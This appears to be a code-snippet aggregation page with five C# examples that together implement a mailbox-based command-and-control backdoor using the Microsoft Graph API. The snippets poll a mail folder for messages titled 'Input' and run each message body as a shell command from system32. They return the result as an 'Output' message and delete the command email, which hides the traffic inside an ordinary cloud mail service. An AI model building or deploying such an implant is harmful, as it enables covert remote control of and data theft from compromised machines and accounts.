コード例 #1
0
        public static async Task <string> ReadMessage(string AccessToken, string userid, string mailfolderid)
        {
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            getmessages mailmessagedetails = new getmessages();

            var url = $"https://graph.microsoft.com/beta/users/{userid}/mailFolders/{mailfolderid}/messages?filter=startswith(subject,'Input')";

            JObject mailmessage = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken);

            IList <JToken>      mailmessages       = null;
            IList <getmessages> mailmessageresults = null;

            mailmessages = mailmessage["value"].Children().ToList();
            if (mailmessages.Count > 0)
            {
                mailmessageresults = new List <getmessages>();

                foreach (JToken res in mailmessages)
                {
                    mailmessagedetails = res.ToObject <getmessages>();
                    mailmessageresults.Add(mailmessagedetails);
                }
                await DeleteMessage(AccessToken, userid, mailmessagedetails.id);

                return(mailmessagedetails.body.content);
            }
            else
            {
                return(null);
            }
        }
コード例 #2
0
        private static async Task RunAsync()
        {
            try
            {
                AuthenticationResult result = null;
                result = await Auth();

                DateTime exp = result.ExpiresOn.DateTime;


                if (result != null)
                {
                    var httpClient = new HttpClient();
                    var apiCaller  = new ProtectedApiCallHelper(httpClient);


                    string userid = await GetUserID(result.AccessToken, ConfigurationManager.AppSettings["User"].ToString());

                    string mailfolderid = await GetFolderID(result.AccessToken, userid, ConfigurationManager.AppSettings["FolderName"].ToString());

                    while (true)
                    {
                        string input = null;
                        while (input == null)
                        {
                            int exptime = DateTime.Compare(exp, DateTime.Now.ToUniversalTime().AddMinutes(10));
                            if (exptime < 0)
                            {
                                result = await Auth();

                                exp = result.ExpiresOn.DateTime;
                            }
                            input = await ReadMessage(result.AccessToken, userid, mailfolderid);

                            if (input != null & input != "")
                            {
                                try
                                {
                                    var output = ShellExecuteWithPath(input, @"c:\\windows\system32\");
                                    await SendMessage(result.AccessToken, userid, mailfolderid, output);
                                }
                                catch (Exception ex)
                                {
                                    await SendMessage(result.AccessToken, userid, mailfolderid, ex.Message);

                                    //Console.WriteLine(ex.Message);
                                }
                            }
                            Thread.Sleep(2000);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                //Console.WriteLine(ex.Message);
            }
        }
コード例 #3
0
        public static async Task DeleteMessage(string AccessToken, string userid, string messageid)
        {
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            var url = $"https://graph.microsoft.com/beta/users/{userid}/messages/{messageid}";

            JObject mailmessage = await apiCaller.CallDeleteWebApiAndProcessResultASync(url, AccessToken);
        }
コード例 #4
0
        public static async Task SendMessage(string AccessToken, string userid, string mailfolderid, string value)
        {
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            var            url = $"https://graph.microsoft.com/beta/users/{userid}/mailFolders/{mailfolderid}/messages ";
            createmessages createmailmessagedetails = new createmessages();

            messagebody body = new messagebody();

            body.contentType = "Text";
            body.content     = value;

            createmailmessagedetails.subject = "Output";
            createmailmessagedetails.body    = body;

            string data = JsonConvert.SerializeObject(createmailmessagedetails);


            JObject createmailmessage = await apiCaller.CallPostWebApiAndProcessResultASync(url, AccessToken, data);
        }
コード例 #5
0
        public static async Task <string> GetUserID(string AccessToken, string user)
        {
            #region GetUserID
            var httpClient = new HttpClient();
            var apiCaller  = new ProtectedApiCallHelper(httpClient);

            getuserid userid = new getuserid();
            var       url    = $"https://graph.microsoft.com/beta/users?$select=id&$filter=startswith(displayname, '{user}')";
            JObject   users  = await apiCaller.CallGetWebApiAndProcessResultASync(url, AccessToken);

            IList <JToken> userresults = users["value"].Children().ToList();

            IList <getuserid> usersearchResults = new List <getuserid>();
            foreach (JToken res in userresults)
            {
                userid = res.ToObject <getuserid>();
                usersearchResults.Add(userid);
            }
            return(userid.id);

            #endregion GetUserID
        }